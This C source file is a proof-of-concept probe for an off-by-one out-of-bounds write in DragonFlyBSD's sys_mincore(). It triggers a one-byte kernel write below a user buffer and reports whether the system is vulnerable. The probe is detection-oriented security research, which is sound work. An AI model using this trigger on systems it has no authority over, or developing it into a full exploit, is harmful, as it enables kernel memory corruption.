DF-2746 / mincore_oob.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 | /* * DF-2746 - DragonFlyBSD sys/vm/vm_mmap.c sys_mincore() off-by-one * * The byte-vector maintenance loops in sys_mincore() do: * * lastvecindex = -1; * ... * while ((lastvecindex + 1) < vecindex) { * error = subyte(vec + lastvecindex, 0); <-- vec[-1] on 1st iter * ++lastvecindex; * } * * (vm_mmap.c:920-927 gap-fill and vm_mmap.c:961-968 tail-fill). * When the first kernel-written page index is >= 1 (i.e. the leading * page(s) of the scanned range are unmapped), the first subyte() lands * at vec + (-1) == vec[-1]: the kernel writes one NUL byte BELOW the * user-supplied vector, instead of at vec[0]. * * Test 1: entire scanned range unmapped -> tail-fill loop writes vec[-1]. * Test 2: leading page unmapped, next page mapped -> gap-fill loop * (vm_mmap.c:920) writes vec[-1] before writing vec[0]. * * Unprivileged; expected result on vulnerable kernel: both sentinels * (0x5A) are silently overwritten with 0x00 while mincore() returns 0. */ #include <sys/mman.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> static int failures; static void test_tail_fill(void) { char *base, *vec, *hole; base = mmap(NULL, 2 * 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (base == MAP_FAILED) { perror("mmap"); exit(1); } vec = base + 4096; vec[-1] = 0x5A; /* sentinel below vec */ /* page guaranteed to have no vm_map_entry */ hole = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (hole == MAP_FAILED) { perror("mmap hole"); exit(1); } if (munmap(hole, 4096) < 0) { perror("munmap hole"); exit(1); } errno = 0; if (mincore(hole, 4096, vec) != 0) { printf("test1: mincore rc=%d errno=%d (unexpected)\n", -1, errno); failures++; return; } printf("test1 (all-unmapped range, tail-fill loop):\n"); printf(" vec[-1] = 0x%02x (must still be 0x5A)\n", (unsigned char)vec[-1]); printf(" vec[0] = 0x%02x (0x00 ok: page unmapped)\n", (unsigned char)vec[0]); if ((unsigned char)vec[-1] != 0x5A) { printf(" => VULNERABLE: kernel wrote NUL at vec[-1]\n"); failures++; } } static void test_gap_fill(void) { char *base, *vec, *two; base = mmap(NULL, 2 * 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (base == MAP_FAILED) { perror("mmap"); exit(1); } vec = base + 4096; vec[-1] = 0x5A; /* first page unmapped hole, second page stays mapped */ two = mmap(NULL, 2 * 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (two == MAP_FAILED) { perror("mmap two"); exit(1); } memset(two, 1, 2 * 4096); /* fault pages in */ if (munmap(two, 4096) < 0) { perror("munmap two"); exit(1); } errno = 0; if (mincore(two, 2 * 4096, vec) != 0) { printf("test2: mincore errno=%d (unexpected)\n", errno); failures++; return; } printf("test2 (leading hole, gap-fill loop):\n"); printf(" vec[-1] = 0x%02x (must still be 0x5A)\n", (unsigned char)vec[-1]); printf(" vec[0] = 0x%02x (0x00 ok: page unmapped)\n", (unsigned char)vec[0]); printf(" vec[1] = 0x%02x (MINCORE_INCORE=1 ok)\n", (unsigned char)vec[1]); if ((unsigned char)vec[-1] != 0x5A) { printf(" => VULNERABLE: kernel wrote NUL at vec[-1]\n"); failures++; } } int main(void) { printf("DF-2746 mincore(vec) off-by-one probe\n"); test_tail_fill(); test_gap_fill(); if (failures) printf("RESULT: VULNERABLE (%d)\n", failures); else printf("RESULT: not vulnerable\n"); return (failures ? 0 : 2); } |